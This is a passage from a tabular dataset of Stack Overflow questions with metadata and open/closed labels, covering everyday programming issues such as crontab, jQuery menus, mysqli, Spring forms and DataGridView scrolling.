PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
7,671,484
10/06/2011 07:46:49
809,565
06/22/2011 02:37:24
111
1
Crontab not working
I use crontab -e to add the following: 36 * * * * /root/Backup/backup.sh But it does not work! I find this in syslog, but it actually does not run... Oct 6 15:36:01 ubuntu CRON[7685]: (root) CMD (/root/Backup/backup.sh) I sure my script work as I run it successfully if I run it directly
linux
ubuntu
crontab
null
null
10/07/2011 06:54:26
off topic
Crontab not working === I use crontab -e to add the following: 36 * * * * /root/Backup/backup.sh But it does not work! I find this in syslog, but it actually does not run... Oct 6 15:36:01 ubuntu CRON[7685]: (root) CMD (/root/Backup/backup.sh) I sure my script work as I run it successfully if I run it directly
2
9,745,746
03/16/2012 23:24:38
1,275,105
03/16/2012 23:14:06
1
0
Twitter Bootstrap 2 carousel - display a set of thumbnails at a time like jcarousel
I would appreciate it if anyone can advice on how to modify Twitter Bootstrap 2 carousel in order to display a set of thumbnails at a time similar to this jquery plugin (jcarousel) http://sorgalla.com/projects/jcarousel/examples/static_simple.html Thanks
jquery
twitter-bootstrap
jcarousel
null
null
null
open
Twitter Bootstrap 2 carousel - display a set of thumbnails at a time like jcarousel === I would appreciate it if anyone can advice on how to modify Twitter Bootstrap 2 carousel in order to display a set of thumbnails at a time similar to this jquery plugin (jcarousel) http://sorgalla.com/projects/jcarousel/examples/static_simple.html Thanks
0
8,591,532
12/21/2011 14:37:56
492,767
05/05/2010 13:13:03
903
35
Dangerous or common username in for user vanity url
I'm changing my app to allow vanity user url: http://domain.com/username I am trying to find out what are the common names that should be prevented from the user to register, such as: phpmyadmin, password, username, about, contact, support, etc. Best if there is a list available, but I haven't been able to find one. Thanks.
security
null
null
null
null
12/22/2011 13:06:45
not constructive
Dangerous or common username in for user vanity url === I'm changing my app to allow vanity user url: http://domain.com/username I am trying to find out what are the common names that should be prevented from the user to register, such as: phpmyadmin, password, username, about, contact, support, etc. Best if there is a list available, but I haven't been able to find one. Thanks.
4
4,099,958
11/04/2010 18:30:30
105,570
05/12/2009 18:49:17
22,095
627
Scrolling PAST the bottom row of a DataGridView
Is there some property or method to set the vertical scroll position of a `DataGridView` **past** the bottom row? What I mean is, say I have a `DataGridView` with enough rows to fill its client area. Then (by default, at least) I cannot scroll down past this point: ![DataGridView scrolled to bottom row][1] I want to be able to *force* the control to continue scrolling, so that I can display some gray area below the bottom row. What I'm after would hypothetically look like this: ![DataGridView scrolled beyond bottom row][2] Any ideas? [1]: http://i.stack.imgur.com/EzcLx.png [2]: http://i.stack.imgur.com/2PLGR.png
.net
winforms
datagridview
scrolling
null
null
open
Scrolling PAST the bottom row of a DataGridView === Is there some property or method to set the vertical scroll position of a `DataGridView` **past** the bottom row? What I mean is, say I have a `DataGridView` with enough rows to fill its client area. Then (by default, at least) I cannot scroll down past this point: ![DataGridView scrolled to bottom row][1] I want to be able to *force* the control to continue scrolling, so that I can display some gray area below the bottom row. What I'm after would hypothetically look like this: ![DataGridView scrolled beyond bottom row][2] Any ideas? [1]: http://i.stack.imgur.com/EzcLx.png [2]: http://i.stack.imgur.com/2PLGR.png
0
9,151,257
02/05/2012 17:22:03
571,874
01/11/2011 20:58:01
43
0
javascript onDeleted event after deleting row from telerik grid
my telerik grid fill via ajax. My delete method: [HttpPost] [GridAction] public ActionResult _AjaxModelDelete(CarModel obj) { Model m = dm.GetModelById(obj.Id); dm.DeleteModel(m); List<Model> res = dm.GetModelsByVendorId(m.VendorId).ToList(); return View(new GridModel<CarModel> { Data = res.Select(x => new CarModel { Id = x.Id, Name = x.Name }) }); } Grid have client side event onDelete but I need reload grid on event onDeleted. how solve this problem?
.net
asp.net-mvc
asp.net-mvc-3
telerik-grid
null
null
open
javascript onDeleted event after deleting row from telerik grid === my telerik grid fill via ajax. My delete method: [HttpPost] [GridAction] public ActionResult _AjaxModelDelete(CarModel obj) { Model m = dm.GetModelById(obj.Id); dm.DeleteModel(m); List<Model> res = dm.GetModelsByVendorId(m.VendorId).ToList(); return View(new GridModel<CarModel> { Data = res.Select(x => new CarModel { Id = x.Id, Name = x.Name }) }); } Grid have client side event onDelete but I need reload grid on event onDeleted. how solve this problem?
0
7,385,403
09/12/2011 08:55:52
441,343
09/07/2010 10:34:49
533
16
Code formatting visual studio and sql server
What is the equivalent of Ctrl + K + D (Visual Studio) in Sql Server Management Studio which is use to format the code ?
sql-server-2008
code-formatting
null
null
null
null
open
Code formatting visual studio and sql server === What is the equivalent of Ctrl + K + D (Visual Studio) in Sql Server Management Studio which is use to format the code ?
0
5,884,272
05/04/2011 13:37:26
351,980
05/27/2010 13:01:05
878
32
C# datatable, duplicate data
For testing I would like to expand my result set. I have a DataTable dt that has 7 or so results. I would like to do something like: dt.Rows.Add(dt); a few times, just to make the data set larger. I also tried dt.Rows.Add(dt.Rows[0]). The first gave an error about the type, the second said the row already existed.
c#
null
null
null
null
null
open
C# datatable, duplicate data === For testing I would like to expand my result set. I have a DataTable dt that has 7 or so results. I would like to do something like: dt.Rows.Add(dt); a few times, just to make the data set larger. I also tried dt.Rows.Add(dt.Rows[0]). The first gave an error about the type, the second said the row already existed.
0
11,647,411
07/25/2012 10:09:38
1,551,036
07/25/2012 08:48:30
1
0
jQuery auto increment for class name
I'm trying to make a drop down menu with click event. I have this html structure: <ul id="menubar"> <li class="menu1"> <a href="#">Menu 1</a> <ul class="submenubar"> <li class="submenu1"><a href="#">Submenu 1</a></li> <li class="submenu1"><a href="#">Submenu 1</a></li> </ul> </li> <li class="menu2"> <a href="#">Menu 2</a> <ul class="submenubar"> <li class="submenu2"><a href="#">Submenu 2</a></li> </ul> </li> <li class="menu3"> <a href="#">Menu 3</a> <ul class="submenubar"> <li class="submenu3"><a href="#">Submenu 3</a></li> <li class="submenu3"><a href="#">Submenu 3</a></li> </ul> </li> </ul>​ I want to avoid the double drop down. So I made this script: $(document).ready(function(){ $('li.submenu1').hide(); $('li.menu1').click(function(e){ $(this).find('li.submenu1', this).slideToggle('fast'); $('li.submenu2').hide(); $('li.submenu3').hide(); e.stopPropagation(); }) $('li.submenu2').hide(); $('li.menu2').click(function(e){ $(this).find('li.submenu2', this).slideToggle('fast'); $('li.submenu1').hide(); $('li.submenu3').hide(); e.stopPropagation(); }) $('li.submenu3').hide(); $('li.menu3').click(function(e){ $(this).find('li.submenu3', this).slideToggle('fast'); $('li.submenu1').hide(); $('li.submenu2').hide(); e.stopPropagation(); }) }) My question is: Is there any way to simplify the code? Perhaps, some auto-increment tricks will help. Thank you for your response.. :-)
auto-increment
null
null
null
null
07/25/2012 12:26:30
off topic
jQuery auto increment for class name === I'm trying to make a drop down menu with click event. I have this html structure: <ul id="menubar"> <li class="menu1"> <a href="#">Menu 1</a> <ul class="submenubar"> <li class="submenu1"><a href="#">Submenu 1</a></li> <li class="submenu1"><a href="#">Submenu 1</a></li> </ul> </li> <li class="menu2"> <a href="#">Menu 2</a> <ul class="submenubar"> <li class="submenu2"><a href="#">Submenu 2</a></li> </ul> </li> <li class="menu3"> <a href="#">Menu 3</a> <ul class="submenubar"> <li class="submenu3"><a href="#">Submenu 3</a></li> <li class="submenu3"><a href="#">Submenu 3</a></li> </ul> </li> </ul>​ I want to avoid the double drop down. So I made this script: $(document).ready(function(){ $('li.submenu1').hide(); $('li.menu1').click(function(e){ $(this).find('li.submenu1', this).slideToggle('fast'); $('li.submenu2').hide(); $('li.submenu3').hide(); e.stopPropagation(); }) $('li.submenu2').hide(); $('li.menu2').click(function(e){ $(this).find('li.submenu2', this).slideToggle('fast'); $('li.submenu1').hide(); $('li.submenu3').hide(); e.stopPropagation(); }) $('li.submenu3').hide(); $('li.menu3').click(function(e){ $(this).find('li.submenu3', this).slideToggle('fast'); $('li.submenu1').hide(); $('li.submenu2').hide(); e.stopPropagation(); }) }) My question is: Is there any way to simplify the code? Perhaps, some auto-increment tricks will help. Thank you for your response.. :-)
2
9,063,065
01/30/2012 11:23:15
1,076,965
12/02/2011 08:15:49
22
0
Finished Software Upload on Web
I have finished a software application which i have made using Python only. I have used py2exe and created .exe format for distribution . Now I am stuck . I have no idea where can I upload my software for people to download it for free . This is a windows GUI App . I want to provide the software for free (but not the source code).Everywhere I go , i am asked to make a developer licence and provide company details etc (which i can't give)...And then charges per month with pay-per-download schemes.I don need any of all these . So please tell me any website (or if blogs can work), to which i can upload my software and it can be searched and downloaded by people for free. In advance , Thank you guys.
python
null
null
null
null
01/30/2012 11:32:21
off topic
Finished Software Upload on Web === I have finished a software application which i have made using Python only. I have used py2exe and created .exe format for distribution . Now I am stuck . I have no idea where can I upload my software for people to download it for free . This is a windows GUI App . I want to provide the software for free (but not the source code).Everywhere I go , i am asked to make a developer licence and provide company details etc (which i can't give)...And then charges per month with pay-per-download schemes.I don need any of all these . So please tell me any website (or if blogs can work), to which i can upload my software and it can be searched and downloaded by people for free. In advance , Thank you guys.
2
4,005,381
10/23/2010 18:12:12
401,705
07/25/2010 19:11:34
47
0
mysqli php extend
i was wondering if you could point me in the right direction. Im extending the mysqli class but cant seem to call the error function.. <?php class mysqli_ls extends mysqli { private $activeConnection = 0; private $linkArr = array(); private $queryArr = array(); private $errorArr = array(); public function __construct() { } /* Connection ************************************************************ */ public function connect($host='', $username='', $password='', $port='', $database='') { $no =& $this->activeConnection; $no++; if ( empty($host) || empty($username) || empty($password) || empty($port) || empty($database) ) { $this->setError('1', 'connect','missing required variables'); return false; } $this->linkArr[ $no ] = parent::mysqli($host,$username,$password); if ( $this->linkArr[ $no ] === false ) { $this->setError(2, 'connect', parent::error( $this->linkArr[ $no ] ) ); return false; } return $no; } Fatal error: Call to undefined method mysqli::error() in C:\wamp\www\vhdocs\test\mysqli.class.php on line 31 i've also tried parent::mysqli_error and had the same error... I cant see why i cant call the error.....
php
mysqli
null
null
null
null
open
mysqli php extend === i was wondering if you could point me in the right direction. Im extending the mysqli class but cant seem to call the error function.. <?php class mysqli_ls extends mysqli { private $activeConnection = 0; private $linkArr = array(); private $queryArr = array(); private $errorArr = array(); public function __construct() { } /* Connection ************************************************************ */ public function connect($host='', $username='', $password='', $port='', $database='') { $no =& $this->activeConnection; $no++; if ( empty($host) || empty($username) || empty($password) || empty($port) || empty($database) ) { $this->setError('1', 'connect','missing required variables'); return false; } $this->linkArr[ $no ] = parent::mysqli($host,$username,$password); if ( $this->linkArr[ $no ] === false ) { $this->setError(2, 'connect', parent::error( $this->linkArr[ $no ] ) ); return false; } return $no; } Fatal error: Call to undefined method mysqli::error() in C:\wamp\www\vhdocs\test\mysqli.class.php on line 31 i've also tried parent::mysqli_error and had the same error... I cant see why i cant call the error.....
0
7,608,027
09/30/2011 08:49:18
965,884
09/26/2011 21:39:24
1
0
Hidden field in spring MVC
I wanted to use spring hidden tag in below code. Is this possible in below code, what I have to write in my controller to do that or what I am doing is correct. <c:forEach var="record" items="${records}"> <tr> <td> <form:form id="myForm" action="list.html" method="post"> <input type="hidden" name="record" value="${record}" /> <a href="#" onclick="document.getElementById('myForm').submit();">Submit</a> </form:form> </tr> </c:forEach> Any help will be highly appriciated. Thanks
spring
spring-mvc
null
null
null
null
open
Hidden field in spring MVC === I wanted to use spring hidden tag in below code. Is this possible in below code, what I have to write in my controller to do that or what I am doing is correct. <c:forEach var="record" items="${records}"> <tr> <td> <form:form id="myForm" action="list.html" method="post"> <input type="hidden" name="record" value="${record}" /> <a href="#" onclick="document.getElementById('myForm').submit();">Submit</a> </form:form> </tr> </c:forEach> Any help will be highly appriciated. Thanks
0
10,300,866
04/24/2012 15:16:22
1,354,069
04/24/2012 15:10:09
1
0
Comments cache: how to delete with wordpress preview post?
In my website i use facebook comments plugin, and if i want a post preview with wordpress, facebook run cache page. In this way when post is published facebook cache don't see post title, description, image etc. and it fix only if a go here: https://developers.facebook.com/tools/debug There is a solution to prevent this? thank you
facebook
wordpress
comments
null
null
null
open
Comments cache: how to delete with wordpress preview post? === In my website i use facebook comments plugin, and if i want a post preview with wordpress, facebook run cache page. In this way when post is published facebook cache don't see post title, description, image etc. and it fix only if a go here: https://developers.facebook.com/tools/debug There is a solution to prevent this? thank you
0
11,319,272
07/03/2012 21:13:01
1,426,522
05/30/2012 16:18:54
13
1
Mathematica Combining graphs and "delete x-achses"
I have two plots f1(x) and f2(x). I want to combine them in the way that in the plot there should by f1 on the axis of ordinates and f2 on the axis of abscissae. Any ideas? Thanks, Andreas
graph
mathematica
plot
show
combine
07/03/2012 22:31:50
off topic
Mathematica Combining graphs and "delete x-achses" === I have two plots f1(x) and f2(x). I want to combine them in the way that in the plot there should by f1 on the axis of ordinates and f2 on the axis of abscissae. Any ideas? Thanks, Andreas
2
7,665,750
10/05/2011 18:14:30
330,026
04/30/2010 19:15:59
1
0
Ubuntu buffer cache freezes on sync
I am not that strong in linux / unix so asking for any help on problem I have. I am running site on amazon ec2. I am running apache tomcat mysql on one large instance 8gb of RAM. Database is quite large but I don't have problems with performance and there is around 3gb of free memory on the box. I noticed that about once in a hour box becomes virtually frozen, so site is not responding and even ssh shell is very slow. I enabled performance monitoring and noticed that amazon reports that each hour or so there are huge disk i/o spikes. I am running UBUNTU with kernel release 2.6.32-305-ec2 So I started monitor with vmstat and noticed that in normal operation box reports around 1.5gb free memory and 2gb of cache and cache is gradually grows. but at some point cache starts growing takes whole ram leaving like 1mb free or something like that. And then I see lots of processes waiting for disk and everything depening on drives i/o freezes. It lasts from 3 to 5 minutes usually. My understanding that system is dumping cache to the drive and freeing memory and that is what causing all that mess. I did not have this problem before I think it started recently when I loaded much more data in mysql. But again there are plenty of free memory it just management of the memory and cache by linux causing it. I read that it should be seamless and it is good thing to have buffer cache but having site down for 5 minutes each hour is definitely bad thing for me. Please advice what options I have with it. I could not find anything on internet. Thank you
mysql
linux
caching
buffer
freeze
10/06/2011 08:32:25
off topic
Ubuntu buffer cache freezes on sync === I am not that strong in linux / unix so asking for any help on problem I have. I am running site on amazon ec2. I am running apache tomcat mysql on one large instance 8gb of RAM. Database is quite large but I don't have problems with performance and there is around 3gb of free memory on the box. I noticed that about once in a hour box becomes virtually frozen, so site is not responding and even ssh shell is very slow. I enabled performance monitoring and noticed that amazon reports that each hour or so there are huge disk i/o spikes. I am running UBUNTU with kernel release 2.6.32-305-ec2 So I started monitor with vmstat and noticed that in normal operation box reports around 1.5gb free memory and 2gb of cache and cache is gradually grows. but at some point cache starts growing takes whole ram leaving like 1mb free or something like that. And then I see lots of processes waiting for disk and everything depening on drives i/o freezes. It lasts from 3 to 5 minutes usually. My understanding that system is dumping cache to the drive and freeing memory and that is what causing all that mess. I did not have this problem before I think it started recently when I loaded much more data in mysql. But again there are plenty of free memory it just management of the memory and cache by linux causing it. I read that it should be seamless and it is good thing to have buffer cache but having site down for 5 minutes each hour is definitely bad thing for me. Please advice what options I have with it. I could not find anything on internet. Thank you
2
7,052,151
08/13/2011 17:33:27
635,981
02/26/2011 22:59:07
1,044
35
proper order of tags and version bumps
I have a [library](https://github.com/dweldon/estring) on github which uses rebar, but it has never been tagged via git. As of this writing, the app.src file indicates it is version 0.1 (this has never been changed). I'd like to make some commits which will change some of the function definitions. I need to use tags and application versions so this doesn't negatively impact users, but I'm unclear on the order I'm supposed to tag, bump, etc. **What steps do I take now and in the future in order to ensure that users can code to the version of their choice?**
erlang
rebar
null
null
null
null
open
proper order of tags and version bumps === I have a [library](https://github.com/dweldon/estring) on github which uses rebar, but it has never been tagged via git. As of this writing, the app.src file indicates it is version 0.1 (this has never been changed). I'd like to make some commits which will change some of the function definitions. I need to use tags and application versions so this doesn't negatively impact users, but I'm unclear on the order I'm supposed to tag, bump, etc. **What steps do I take now and in the future in order to ensure that users can code to the version of their choice?**
0
3,061,698
06/17/2010 12:47:54
169,774
09/07/2009 15:56:43
621
9
auto_inline - inadequate documentation
I want to disable inlining for a particular function. What the compiler does for everything else should be as specified in the project properties. I found a page on a forum which suggested the following: #pragma auto_inline(off) void func() { } #pragma auto_inline() The author suggested that calling auto_inline() with no arguments will set the compiler to revert to doing whatever the default action was before the call to auto_inline(off). Can anyone confirm that this works for visual studio 2008? I ask because the VS2008 documentation makes no mention at all of what happens if you call this function with no arguments.
c++
visual-studio-2008
null
null
null
null
open
auto_inline - inadequate documentation === I want to disable inlining for a particular function. What the compiler does for everything else should be as specified in the project properties. I found a page on a forum which suggested the following: #pragma auto_inline(off) void func() { } #pragma auto_inline() The author suggested that calling auto_inline() with no arguments will set the compiler to revert to doing whatever the default action was before the call to auto_inline(off). Can anyone confirm that this works for visual studio 2008? I ask because the VS2008 documentation makes no mention at all of what happens if you call this function with no arguments.
0
7,702,490
10/09/2011 09:11:37
951,512
09/18/2011 18:07:59
1
0
How to integrate lyrics in my mp3 player , using Netbeans as IDE?
I have to make a music player . i wanna sync lyrics for my mp3 player just like subtitles in media player .How Should I do it?
java
mp3
mediaplayer
null
null
10/09/2011 16:16:11
not a real question
How to integrate lyrics in my mp3 player , using Netbeans as IDE? === I have to make a music player . i wanna sync lyrics for my mp3 player just like subtitles in media player .How Should I do it?
1
9,117,184
02/02/2012 17:43:52
747,228
05/10/2011 16:32:27
105
1
How to get information about code lines in QT?
I need to be able to read information about project lines in the qt project which is building by mingw. How can I do it? Where I should include - /MAPINFO:LINES , to get output file with information about lines numbers?
qt
mingw
line-numbers
null
null
02/05/2012 03:45:13
not a real question
How to get information about code lines in QT? === I need to be able to read information about project lines in the qt project which is building by mingw. How can I do it? Where I should include - /MAPINFO:LINES , to get output file with information about lines numbers?
1
6,136,508
05/26/2011 09:36:17
771,045
05/26/2011 09:36:17
1
0
iOS How to Send string Class 1 to Class2
Class1 i have textClass1 = @"Hello" how to send String to Class2 Label.text = textClass1 ? Thank you :D
ios
null
null
null
null
05/26/2011 14:01:34
not a real question
iOS How to Send string Class 1 to Class2 === Class1 i have textClass1 = @"Hello" how to send String to Class2 Label.text = textClass1 ? Thank you :D
1
11,492,540
07/15/2012 14:06:22
1,429,891
06/01/2012 04:47:46
6
0
Changing CPU and MB on a hackintosh
I run a hackintosh on a ASUS p5qc and E8650 CPU. Now i bought a new MB (Gigabyte GA-Z68X-UD3H-B3) and a new CPU (I7-2700K). IS it somehow possible not to reinstall everything and just swap the MB and CPU and continue using the existing OSX (Lion)?
hackintosh
null
null
null
null
07/17/2012 11:02:50
off topic
Changing CPU and MB on a hackintosh === I run a hackintosh on a ASUS p5qc and E8650 CPU. Now i bought a new MB (Gigabyte GA-Z68X-UD3H-B3) and a new CPU (I7-2700K). IS it somehow possible not to reinstall everything and just swap the MB and CPU and continue using the existing OSX (Lion)?
2
815,854
05/02/2009 23:07:05
84,274
03/29/2009 14:27:00
6
1
Can NHibernate create tables from existing classes automatically?
I'm very new at this, but I need to create new tables from existing classes without creating them by hand. Can this be done using a tool or command line?
nhibernate
c#
null
null
null
null
open
Can NHibernate create tables from existing classes automatically? === I'm very new at this, but I need to create new tables from existing classes without creating them by hand. Can this be done using a tool or command line?
0
4,443,963
12/14/2010 20:36:29
484,290
10/22/2010 14:06:21
111
11
Java Send Mail Function
Does anybody has a proper java send mail function that works 100 % and can share it with me. I am getting some p
java
sendmail
null
null
null
12/15/2010 01:23:31
not a real question
Java Send Mail Function === Does anybody has a proper java send mail function that works 100 % and can share it with me. I am getting some p
1
7,323,913
09/06/2011 17:41:29
931,189
09/06/2011 17:04:41
1
0
Could not retrieve id for the specified page. Please verify correct hrf was passed in
2) The Facebook Like button doesn’t work on some of the Facebook accounts (Children’s for example). The error message is: “Could not retrieve id for the specified page. Please verify correct hrf was passed in example: URL ==> http://www.facebook.com/pages/Adam-Rapp/25312541522
facebook
like
null
null
null
09/06/2011 18:49:23
off topic
Could not retrieve id for the specified page. Please verify correct hrf was passed in === 2) The Facebook Like button doesn’t work on some of the Facebook accounts (Children’s for example). The error message is: “Could not retrieve id for the specified page. Please verify correct hrf was passed in example: URL ==> http://www.facebook.com/pages/Adam-Rapp/25312541522
2
7,379,768
09/11/2011 16:52:59
939,367
09/11/2011 16:52:59
1
0
How to read a joystick from python on OSX?
Is there any light weight way to read a joystick under mac osx from python? The only thing I can find online seems to require installing pygame, SDL, and associated deps (xorg, numpy, etc). Under linux, I was able to just read from /dev/input/js0, but OSX seems to have no such equivalent device. Any thoughts? Thanks!
python
osx
joystick
null
null
null
open
How to read a joystick from python on OSX? === Is there any light weight way to read a joystick under mac osx from python? The only thing I can find online seems to require installing pygame, SDL, and associated deps (xorg, numpy, etc). Under linux, I was able to just read from /dev/input/js0, but OSX seems to have no such equivalent device. Any thoughts? Thanks!
0
8,423,323
12/07/2011 22:12:04
1,030,498
11/04/2011 21:57:00
1
0
WordPress won't let me add images to posts
I recently migrated a WordPress install from a subdirectory to the root. After the migration everything worked great, except that I can no longer set a featured thumbnail or add a picture in the WYSIWYG. On a possibly related note, I can only set post tags from the Quick Edit screen and not the post edit screen. When I click set featured image on the post edit screen it opens the screen to add media, but it opens in a new page, not like in a box before. When I click to the media library and click show next to an image, it does not show and so I can't select "use as featured image." I can still upload the photo, but I can't attach it to the post. I'm not sure if the tags issue is related, but whenever I enter a tag in the Post Tag box it will not save. But if I go out to the All Posts listing, I can enter them via Quick Edit. Any ideas? Thanks in advance.
image
wordpress
null
null
null
12/08/2011 03:56:10
off topic
WordPress won't let me add images to posts === I recently migrated a WordPress install from a subdirectory to the root. After the migration everything worked great, except that I can no longer set a featured thumbnail or add a picture in the WYSIWYG. On a possibly related note, I can only set post tags from the Quick Edit screen and not the post edit screen. When I click set featured image on the post edit screen it opens the screen to add media, but it opens in a new page, not like in a box before. When I click to the media library and click show next to an image, it does not show and so I can't select "use as featured image." I can still upload the photo, but I can't attach it to the post. I'm not sure if the tags issue is related, but whenever I enter a tag in the Post Tag box it will not save. But if I go out to the All Posts listing, I can enter them via Quick Edit. Any ideas? Thanks in advance.
2
11,254,381
06/28/2012 23:41:47
1,489,960
06/28/2012 23:30:32
1
0
convert a table to circle
I have a rectangle table which have 7 rows and 46 columns the top row and the first columns are the headers. so this can be considered as a matrix and I would like to convert this table into a circles. what I mean when I say convert to circle: a circle which have 7 tracks and also have radius drawn 45 times to make it like a table and then every box on the tracks get some color which was there in the table. Drawing the circle is easy and I searched a lot on how to draw the radius of the circle but got nothing. Appreciate the help. Thanks
r
circle
radius
null
null
07/21/2012 05:58:24
not a real question
convert a table to circle === I have a rectangle table which have 7 rows and 46 columns the top row and the first columns are the headers. so this can be considered as a matrix and I would like to convert this table into a circles. what I mean when I say convert to circle: a circle which have 7 tracks and also have radius drawn 45 times to make it like a table and then every box on the tracks get some color which was there in the table. Drawing the circle is easy and I searched a lot on how to draw the radius of the circle but got nothing. Appreciate the help. Thanks
1
7,804,705
10/18/2011 08:55:52
600,024
02/02/2011 13:12:18
478
25
Dynamically pass entries to Method requiring params
I'm currently having the following method which requires params - I cannot change this methods definition: public static DoStuff(params Parameter p){ /* ... */ } I do not know how many parameters I'll have at runtime, so I want to pass an array or a list - I've thought about using Iterators like this: List<Parameter> pList = new List<Parameter>(); pList.Add(new Parameter("@a", "aaaa!"); pList.Add(new Parameter("@b", "bbbb!"); pList.Add(new Parameter("@c", "cccc!"); DoStuff(Iterate(pList)); And here's the Iterate-Method: public static IEnumerator<Parameter> blah(List<Parameter> pList) { foreach (Parameter p in pList) yield return p; } Unfortunately, it does not work, it keeps telling me that it can't cast (generated type) to CommandParameter. Any help (or different approaches) would be appreciated! Thanks, Dennis
c#
iterator
params
null
null
null
open
Dynamically pass entries to Method requiring params === I'm currently having the following method which requires params - I cannot change this methods definition: public static DoStuff(params Parameter p){ /* ... */ } I do not know how many parameters I'll have at runtime, so I want to pass an array or a list - I've thought about using Iterators like this: List<Parameter> pList = new List<Parameter>(); pList.Add(new Parameter("@a", "aaaa!"); pList.Add(new Parameter("@b", "bbbb!"); pList.Add(new Parameter("@c", "cccc!"); DoStuff(Iterate(pList)); And here's the Iterate-Method: public static IEnumerator<Parameter> blah(List<Parameter> pList) { foreach (Parameter p in pList) yield return p; } Unfortunately, it does not work, it keeps telling me that it can't cast (generated type) to CommandParameter. Any help (or different approaches) would be appreciated! Thanks, Dennis
0
824,057
05/05/2009 09:24:11
88,910
04/09/2009 03:58:49
86
2
What to do as a novice programmer?
So...As a senior year computer engineer in college, I was wondering if you guys had any ideas of what I should do to gain more experience? I took a intro to C++ class, and are proficient in C++, Verilog, Python and Bash scripting. I will be taking a bunch of programming classes in the Fall (Operating Systems, Algorithms, C# Programming, and Senior Design). I've also been interning with the 3D/4D Visualization team at an engineering company and have learned alot about C++ and a dev-cycle. But later on, I do want to become a programmer for my career, but I feel like I really don't know anything about programming. Some people have given me the idea of making a few projects such as a calendar or a tic-tac-toe game etc. I've made a snake game for a microprocessors project so I do have some limited development experience. I guess I feel like I really don't know what to do besides simple console applications... and am quite desperate to learn some things for my grad school interview and my future career. What did you guys do to begin as developers? (Preferably in C++) Thanks for the help in advance!
c++
professional-experience
null
null
null
01/30/2012 14:57:47
not constructive
What to do as a novice programmer? === So...As a senior year computer engineer in college, I was wondering if you guys had any ideas of what I should do to gain more experience? I took a intro to C++ class, and are proficient in C++, Verilog, Python and Bash scripting. I will be taking a bunch of programming classes in the Fall (Operating Systems, Algorithms, C# Programming, and Senior Design). I've also been interning with the 3D/4D Visualization team at an engineering company and have learned alot about C++ and a dev-cycle. But later on, I do want to become a programmer for my career, but I feel like I really don't know anything about programming. Some people have given me the idea of making a few projects such as a calendar or a tic-tac-toe game etc. I've made a snake game for a microprocessors project so I do have some limited development experience. I guess I feel like I really don't know what to do besides simple console applications... and am quite desperate to learn some things for my grad school interview and my future career. What did you guys do to begin as developers? (Preferably in C++) Thanks for the help in advance!
4
2,769,903
05/05/2010 00:45:22
328,536
04/29/2010 05:45:01
28
0
ASP.NET small online store, shopping cart
Currently I have a site that is using Google Checkout's mini cart system and I like it a lot, however, I'm wondering if there is a more professional way of doing it, while still keeping it simple. I've looked into an authorize.net account, but I need to find a way to handle the mini shopping cart before heading off to process the order. **Are there any good open source mini shopping carts that are not linked with a merchant service?**
google-checkout
shopping-cart
asp.net
asp
cart
null
open
ASP.NET small online store, shopping cart === Currently I have a site that is using Google Checkout's mini cart system and I like it a lot, however, I'm wondering if there is a more professional way of doing it, while still keeping it simple. I've looked into an authorize.net account, but I need to find a way to handle the mini shopping cart before heading off to process the order. **Are there any good open source mini shopping carts that are not linked with a merchant service?**
0
2,495,003
03/22/2010 19:12:12
299,310
03/22/2010 19:12:12
1
0
Hi, I would like to know if anyone knows where to get some exercises of to practise
I think small exercises would be the baest way for me to learn programming. I am the begginer and I am willing to give plenty of time to this. To explain, to my opinion exercises should be something to write not long programs (10-30lines), to say what the program will print or that is the mistake. Who can help me and say where to maybe a website with such stuff? Thanks
c#
php
java
python
null
07/12/2011 14:12:37
not constructive
Hi, I would like to know if anyone knows where to get some exercises of to practise === I think small exercises would be the baest way for me to learn programming. I am the begginer and I am willing to give plenty of time to this. To explain, to my opinion exercises should be something to write not long programs (10-30lines), to say what the program will print or that is the mistake. Who can help me and say where to maybe a website with such stuff? Thanks
4
7,789,857
10/17/2011 05:53:40
998,553
10/17/2011 05:25:20
1
0
Adding two columns
i have a table report like this pipno demand principle interest balance=(demand-principle) 101 5000 500 100 4500 102 1000 750 100 250 103 2000 1500 100 500 104 1500 1000 100 500 101 5000 1500 100 4000// Here in demand field i want to add demand with old balance ie., 4500+5000=9500 because pipno 101 exists two times and also same if any pipno exists more than once we want to add the demand with existing balance. Plaese reply me as quick sample o/p pipno demand principle interest balance=(demand-principle) 101 5000 500 100 4500 102 1000 750 100 250 103 2000 1500 100 500 104 1500 1000 100 500 101 9500 1500 100 4000 102 1250 750 100 250 here 101 & 102 exists twice
sql-server
null
null
null
null
10/18/2011 08:59:25
not a real question
Adding two columns === i have a table report like this pipno demand principle interest balance=(demand-principle) 101 5000 500 100 4500 102 1000 750 100 250 103 2000 1500 100 500 104 1500 1000 100 500 101 5000 1500 100 4000// Here in demand field i want to add demand with old balance ie., 4500+5000=9500 because pipno 101 exists two times and also same if any pipno exists more than once we want to add the demand with existing balance. Plaese reply me as quick sample o/p pipno demand principle interest balance=(demand-principle) 101 5000 500 100 4500 102 1000 750 100 250 103 2000 1500 100 500 104 1500 1000 100 500 101 9500 1500 100 4000 102 1250 750 100 250 here 101 & 102 exists twice
1
7,741,694
10/12/2011 14:29:27
875,239
08/02/2011 18:21:41
76
1
Parse HTML source after login with Java
